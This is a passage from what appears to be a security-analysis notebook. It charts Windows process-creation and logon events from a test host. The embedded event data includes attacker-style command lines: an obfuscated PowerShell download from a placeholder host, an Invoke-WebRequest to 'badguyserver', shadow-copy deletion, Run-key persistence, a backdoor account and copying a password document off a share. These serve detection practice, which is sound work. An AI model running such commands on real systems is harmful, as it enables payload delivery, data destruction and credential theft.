SYSTEM\",\"\\\"cmd\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\Resources\\\\222\\\\pmfexe.exe\\\" -PerfMode optimize\\n-quickscan -event -json -alldetectors\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 42424.exe\",\"42424.exe\",\".\\\\reg.exe add\\n\\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell\\nSet-ExecutionPolicy RemoteSigned&echo [S]&cd&echo\\n[E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"© \\\\\\\\[REDACTED\\n]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Password Change\\nDates.docx\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"vssadmin delete shadows /all /quiet\",\"cmd /c echo Any questions about the commands\\nexecuted here then please contact one of\",\"C:\\\\Windows\\\\system32\\\\net1 user adm1nistrator\\nBob_testing /add\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare\\nBob_testing /User:adm1nistrator\",\"C:\\\\Windows\\\\system32\\\\svchost.exe -k wsappx\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\"\",\".\\\\powershell -command {(n`EW-obJ`E`cT N`et`.W`eb`\\nC`li`en`t).DownloadFile('https://blah/png','google\\n.png')}\",\"implant.exe k111\",\"cmd /c \\\"echo Invoke-Expression Get-Process;\\nInvoke-WebRequest -Uri http://badguyserver/pwnme\\\"\",\"whoami\",\"net group \\\"Domain Admins\\\" /domain\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe\",\".\\\\lsass.exe /C\\n\\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"cmd /c \\\"powershell wscript.shell used to download\\na .gif\\\"\",\"hd.exe -pslist\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua\\n/installsource scheduler\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\dllhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\Dism.exe\",\"C:\\\\Windows\\\\Temp\\\\CC563BBE-\\nDE32-44D3-8E35-F3FC78E72E40\\\\DismHost.exe\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\wuauclt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\wermgr.exe\",\"C:\\\\WindowsAzure\\\\GuestAgent_2.7.41491.901_2019-01-1\\n4_202614\\\\CollectGuestLogs.exe\",\"C:\\\\Windows\\\\System32\\\\taskhostw.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\Resources\\\\222\\\\pmfexe.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\42424.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"C:\\\\Windows\\\\System32\\\\vssadmin.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\net1.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\lsass.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Windows\\\\System32\\\\MusNotification.exe\",\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"APBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAPBPA/yEdkIA8E8D/IR2QgDwTwP8hHZCAHAcmPuEdkIAsB2Y+4R2QgDgfJj7hHZCAADzifuEdkIAEEHz/oR2QgCwHPX+hHZCABCA9v6EdkIAUHH2/oR2QgAwX/b+hHZCACCf9v6EdkIAkMbz/oR2QgAQkPX+hHZCAOBV8/6EdkIA8Ezz/oR2QgAgV/P+hHZCAGBx8/6EdkIAECb1/oR2QgBgPfX+hHZCABCt9f6EdkIAsGz1/oR2QgCwd/X+hHZCACAd9v6EdkIAAEz2/oR2QgDQC/b+hHZCAPD49v6EdkIAQPo6/oR2QgBwM/f+hHZCANBRFf2EdkIA0GZC/IR2Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[62]},\"index\":[46,57,59,61,62,64,65,74,75,78,82,83,86,87,94,106,108,110,130,133,134,139,162,163,171,176,195,198,219,256,292,301,356,0,1,2,3,47,48,49,56,60,63,67,68,69,77,80,85,95,96,104,122,125,142,149,169,190,193,211,254,270],\"y_index\":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},\"selected\":{\"id\":\"1086\"},\"selection_policy\":{\"id\":\"1085\"}},\"id\":\"1003\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"below\":[{\"id\":\"1016\"}],\"center\":[{\"id\":\"1019\"},{\"id\":\"1023\"}],\"height\":300,\"left\":[{\"id\":\"1020\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"1073\"}],\"title\":{\"id\":\"1006\"},\"toolbar\":{\"id\":\"1030\"},\"width\":900,\"x_range\":{\"id\":\"1008\"},\"x_scale\":{\"id\":\"1012\"},\"y_range\":{\"id\":\"1010\"},\"y_scale\":{\"id\":\"1014\"}},\"id\":\"1005\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"1021\",\"type\":\"BasicTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"1029\"}},\"id\":\"1025\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1072\",\"type\":\"Scatter\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1054\"},\"group\":null,\"major_label_policy\":{\"id\":\"1084\"},\"ticker\":{\"id\":\"1049\"}},\"id\":\"1048\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1071\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_color\":{\"value\":\"navy\"},\"hatch_color\":{\"value\":\"navy\"},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1057\",\"type\":\"Circle\"},{\"attributes\":{\"below\":[{\"id\":\"1048\"},{\"id\":\"1053\"}],\"center\":[{\"id\":\"1051\"}],\"height\":120,\"renderers\":[{\"id\":\"1060\"}],\"title\":{\"id\":\"1038\"},\"toolbar\":{\"id\":\"1052\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"1040\"},\"x_scale\":{\"id\":\"1044\"},\"y_range\":{\"id\":\"1042\"},\"y_scale\":{\"id\":\"1046\"}},\"id\":\"1037\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"1044\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1058\",\"type\":\"Circle\"},{\"attributes\":{\"overlay\":{\"id\":\"1063\"},\"x_range\":{\"id\":\"1008\"},\"y_range\":null},\"id\":\"1062\",\"type\":\"RangeTool\"},{\"attributes\":{\"end\":1547529858206.45,\"start\":1547525187016.5498},\"id\":\"1040\",\"type\":\"Range1d\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"EventID\",\"@EventID\"],[\"CommandLine\",\"@CommandLine\"],[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"]]},\"id\":\"1004\",\"type\":\"HoverTool\"},{\"attributes\":{\"source\":{\"id\":\"1003\"}},\"id\":\"1074\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1042\",\"type\":\"DataRange1d\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"1038\",\"type\":\"Title\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1003\"},\"glyph\":{\"id\":\"1057\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1059\"},\"nonselection_glyph\":{\"id\":\"1058\"},\"view\":{\"id\":\"1061\"}},\"id\":\"1060\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1059\",\"type\":\"Circle\"},{\"attributes\":{\"active_multi\":{\"id\":\"1062\"},\"tools\":[{\"id\":\"1062\"}]},\"id\":\"1052\",\"type\":\"Toolbar\"},{\"attributes\":{\"axis\":{\"id\":\"1020\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"1023\",\"type\":\"Grid\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"1053\",\"type\":\"Title\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"1063\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"start\":-1.0},\"id\":\"1010\",\"type\":\"Range1d\"},{\"attributes\":{\"end\":1547529678545.3,\"start\":1547525366677.7002},\"id\":\"1008\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1003\"},\"glyph\":{\"id\":\"1070\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1072\"},\"nonselection_glyph\":{\"id\":\"1071\"},\"view\":{\"id\":\"1074\"}},\"id\":\"1073\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1027\",\"type\":\"SaveTool\"},{\"attributes\":{\"axis\":{\"id\":\"1016\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1019\",\"type\":\"Grid\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1101\"},{\"id\":\"1102\"},{\"id\":\"1103\"},{\"id\":\"1104\"},{\"id\":\"1105\"},{\"id\":\"1106\"},{\"id\":\"1107\"},{\"id\":\"1108\"},{\"id\":\"1109\"},{\"id\":\"1110\"},{\"id\":\"1111\"},{\"id\":\"1112\"}]},\"id\":\"1049\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1067\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1079\"},\"group\":null,\"major_label_policy\":{\"id\":\"1080\"},\"ticker\":{\"id\":\"1021\"},\"visible\":false},\"id\":\"1020\",\"type\":\"LinearAxis\"},{\"attributes\":{\"axis\":{\"id\":\"1048\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"1051\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1046\",\"type\":\"LinearScale\"},{\"attributes\":{\"source\":{\"id\":\"1003\"}},\"id\":\"1061\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1026\",\"type\":\"ResetTool\"},{\"attributes\":{},\"id\":\"1012\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Timeline: Distinct Host Processes (bottom) and All Proceses (top)\"},\"id\":\"1006\",\"type\":\"Title\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"1067\"},\"group\":null,\"major_label_policy\":{\"id\":\"1082\"},\"ticker\":{\"id\":\"1017\"}},\"id\":\"1016\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1088\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1080\",\"type\":\"AllLabels\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1088\"},{\"id\":\"1089\"},{\"id\":\"1090\"},{\"id\":\"1091\"},{\"id\":\"1092\"},{\"id\":\"1093\"},{\"id\":\"1094\"},{\"id\":\"1095\"},{\"id\":\"1096\"},{\"id\":\"1097\"},{\"id\":\"1098\"},{\"id\":\"1099\"}]},\"id\":\"1017\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1089\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1099\",\"type\":\"YearsTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1090\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1095\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1094\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1079\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1091\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1092\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1093\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1098\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1096\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1024\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"1082\",\"type\":\"AllLabels\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1097\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"tools\":[{\"id\":\"1004\"},{\"id\":\"1024\"},{\"id\":\"1025\"},{\"id\":\"1026\"},{\"id\":\"1027\"},{\"id\":\"1028\"}]},\"id\":\"1030\",\"type\":\"Toolbar\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1101\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1084\",\"type\":\"AllLabels\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1102\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1103\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1112\",\"type\":\"YearsTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1108\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1107\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1104\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1105\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1106\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1111\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1109\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1085\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"1014\",\"type\":\"LinearScale\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1110\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1086\",\"type\":\"Selection\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1028\",\"type\":\"PanTool\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"1029\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1070\",\"type\":\"Scatter\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1054\",\"type\":\"DatetimeTickFormatter\"}],\"root_ids\":[\"1075\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n const render_items = [{\"docid\":\"8e578fa9-6835-454b-928c-31a2905c575b\",\"root_ids\":[\"1075\"],\"roots\":{\"1075\":\"f3401328-dd7e-42f3-93f5-f99ebf916142\"}}];\n root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n }\n if (root.Bokeh !== undefined) {\n embed_document(root);\n } else {\n let attempts = 0;\n const timer = setInterval(function(root) {\n if (root.Bokeh !== undefined) {\n clearInterval(timer);\n embed_document(root);\n } else {\n attempts++;\n if (attempts > 100) {\n clearInterval(timer);\n console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n }\n }\n }, 10, root)\n }\n})(window);", "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "1075" } }, "output_type": "display_data" }, { "data": { "text/html": [ "
Column(
id = '1075', …)
align = 'start',
aspect_ratio = None,
background = None,
children = [Figure(id='1005', ...), Figure(id='1037', ...)],
css_classes = [],
disabled = False,
height = None,
height_policy = 'auto',
js_event_callbacks = {},
js_property_callbacks = {},
margin = (0, 0, 0, 0),
max_height = None,
max_width = None,
min_height = None,
min_width = None,
name = None,
rows = 'auto',
sizing_mode = None,
spacing = 0,
subscribed_events = [],
syncable = True,
tags = [],
visible = True,
width = None,
width_policy = 'auto')
\n", "\n" ], "text/plain": [ "Column(id='1075', ...)" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Show timeline of events - clustered events\n", "\n", "clus_events.mp_plot.timeline(\n", " # overlay_data=processes_on_host,\n", " title=\"Distinct Host Processes (bottom) and All Proceses (top)\"\n", ")\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "# Host Logons\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Since the number of logon events may be large and, in the case of system logons, very repetitive, we use clustering to try to identity logons with unique characteristics.\n", "\n", "In this case we use the numeric score of the account name and the logon type (i.e. interactive, service, etc.). The results of the clustered logons are shown below along with a more detailed, readable printout of the logon event information. The data here will vary depending on whether this is a Windows or Linux host." ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Number of input events: 14\n", "Number of clustered events: 3\n", "\n", "Distinct host logon patterns:\n" ] }, { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
Unnamed: 0TenantIdAccountEventIDTimeGeneratedSourceComputerIdComputerSubjectUserNameSubjectDomainNameSubjectUserSidTargetUserNameTargetDomainNameTargetUserSidTargetLogonIdLogonProcessNameLogonTypeAuthenticationPackageNameStatusIpAddressWorkstationNameAccountNumLogonHourClusteredClusterIdClusterSizeFirstEventTimeLastEventTime
11802d39e1-9d70-404d-832c-2de5e2478edaNT AUTHORITY\\SYSTEM46242019-01-15 01:42:28.34046fe7078-61bb-4bed-9430-7ac01d91c273MSTICAlertsWin1MSTICAlertsWin1$WORKGROUPS-1-5-18SYSTEMNT AUTHORITYS-1-5-180x3e7Advapi5NegotiateNaN--14845True1112019-01-15 01:42:28.3402019-01-15 05:15:14.453
00802d39e1-9d70-404d-832c-2de5e2478edaMSTICAlertsWin1\\MSTICAdmin46242019-01-15 04:28:33.09046fe7078-61bb-4bed-9430-7ac01d91c273MSTICAlertsWin1MSTICAlertsWin1$WORKGROUPS-1-5-18MSTICAdminMSTICAlertsWin1S-1-5-21-996632719-2361334927-4038480536-5000xfaac27Advapi4NegotiateNaN-MSTICAlertsWin123195True022019-01-15 04:28:33.0902019-01-15 05:15:02.980
22802d39e1-9d70-404d-832c-2de5e2478edaMSTICAlertsWin1\\adm1nistrator46242019-01-15 05:15:06.36346fe7078-61bb-4bed-9430-7ac01d91c273MSTICAlertsWin1--S-1-0-0adm1nistratorMSTICAlertsWin1S-1-5-21-996632719-2361334927-4038480536-10660xfb5ee6NtLmSsp3NTLMNaNfe80::38dc:e4a9:61bd:b458MSTICAlertsWin127995False-112019-01-15 05:15:06.3632019-01-15 05:15:06.363
\n", "
